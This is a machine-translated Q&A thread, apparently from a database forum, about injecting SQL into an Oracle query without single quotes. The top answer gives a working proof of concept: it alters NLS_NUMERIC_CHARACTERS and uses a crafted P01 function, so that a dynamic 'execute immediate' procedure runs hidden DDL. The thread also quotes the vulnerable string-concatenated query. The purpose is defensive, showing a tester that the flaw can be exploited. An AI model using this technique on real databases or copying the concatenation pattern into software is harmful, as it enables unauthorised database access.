Есть ли способ вырваться из строки и ввести SQL без использования одной кавычки в oracle?

Я тестирую приложение на основе оракула, и я нашел следующий код:

Query = "SELECT name FROM employees WHERE id = '" + PKID + "';"

то есть. строка запроса содержит кавычки вокруг значения PKID, которое получается прямо из URL.

Очевидно, что это классическая SQL-инъекция, ожидающая появления ... за исключением того, что приложение находится за CA SiteMinder, который блокирует любой URL-адрес с одной цитатой (в любой форме) от передачи в приложение.

Есть ли способ вырваться из строки и внедрить SQL без использования одной кавычки?

Изменить: Извините, я должен был быть более ясным - я понимаю, как это писать должно , но мне нужно убедить людей в том, что это проблема с эксплуатацией. На данный момент, поскольку он находится за сайдемейдером, который блокирует одинарные кавычки, поэтому это будет исправление с низким приоритетом.

12 голосов | спросил jdsnape 11 FebruaryEurope/MoscowbMon, 11 Feb 2013 23:40:40 +0400000000pmMon, 11 Feb 2013 23:40:40 +040013 2013, 23:40:40

3 ответа


9

Да, можно выполнить атаку SQL-инъекций без подачи кавычек в параметр.

Способ сделать это - использовать эксплойт для обработки чисел и /или дат. Вы можете указать на уровне сеанса, какой формат даты или числа. Управляя этим, вы можете вставлять любой символ.

По умолчанию в Великобритании и США запятая используется для указания разделителя тысяч в числах и полной остановки для десятичной точки. Вы можете изменить эти значения по умолчанию, выполнив:

alter session set nls_numeric_characters = 'PZ';

Это означает, что «P» теперь является десятичной точкой, а «Z» - разделителем тысяч. Итак:

0P01

Это число 0.01. Однако, если вы создадите функцию P01, ссылка на объект будет поднята до преобразования номера. Это позволяет выполнять функции в базе данных, давая вам увеличивающиеся полномочия следующим образом:

Создайте базовую функцию «get by id»:

create procedure get_obj ( i in number ) as
begin
  execute immediate 'select object_name from all_objects where object_id = ' || i;
end;
/

Также создайте функцию P01, которая делает что-то нежелательное (в данном случае просто создавая таблицу, но вы получаете идею):

create function p01 return number as
  pragma autonomous_transaction;
begin
  execute immediate 'create table t (x integer)';
  return 1;
end;
/

И мы будем рады:

alter session set nls_numeric_characters = 'PZ';

SELECT * FROM t;

SQL Error: ORA-00942: table or view does not exist

exec get_obj(p01);

anonymous block completed

SELECT * FROM t;

no rows selected

Нет кавычек в любом месте, но нам все же удалось выполнить «скрытую» функцию P01 и создать таблицу t!

Хотя это может быть трудно сделать на практике (и может потребовать некоторые внутренние знания /помощь), это показывает, что вы можете вводить SQL без необходимости иметь кавычки. Изменение nls_date_format позволяет выполнить аналогичные действия.

Оригинальные данные для чисел были Дэвидом Личфилдом, и вы можете прочитать его статью здесь . Вы можете найти обсуждение Тома Ките о том, как можно использовать даты здесь .

ответил Chris Saxon 12 FebruaryEurope/MoscowbTue, 12 Feb 2013 16:44:57 +0400000000pmTue, 12 Feb 2013 16:44:57 +040013 2013, 16:44:57
4

Возможно, вы, возможно, перегрузите тип данных, который вы используете, в результате чего этот оператор терпит неудачу. Тогда что может произойти после того, как потенциально может быть запущен.

Возможно, отправка его в виде массива байтов в Юникоде сделает трюк и выведет вас из этого утверждения в другое.

Если открыто отверстие, оно будет злоупотреблять. И блокирование всех строк одной кавычкой - не очень хорошая идея, поскольку люди с фамилией «O'Brian» не могут быть вашими клиентами (среди прочих).

ответил mrdenny 12 FebruaryEurope/MoscowbTue, 12 Feb 2013 02:30:19 +0400000000amTue, 12 Feb 2013 02:30:19 +040013 2013, 02:30:19
1

Попробуйте использовать переменную bind. Вы можете объявить его как число, и это должно предотвратить повреждающую инъекцию SQL.

ДОПОЛНЕНИЕ: переменные связывания также повышают производительность и масштабируемость, поскольку план запроса скомпилирован и сохранен для повторного использования. Просто что-то еще, чтобы добавить к вашему аргументу. :)

ответил JHFB 12 FebruaryEurope/MoscowbTue, 12 Feb 2013 00:47:39 +0400000000amTue, 12 Feb 2013 00:47:39 +040013 2013, 00:47:39

Похожие вопросы

Популярные теги

security × 330linux × 316macos × 2827 × 268performance × 244command-line × 241sql-server × 235joomla-3.x × 222java × 189c++ × 186windows × 180cisco × 168bash × 158c# × 142gmail × 139arduino-uno × 139javascript × 134ssh × 133seo × 132mysql × 132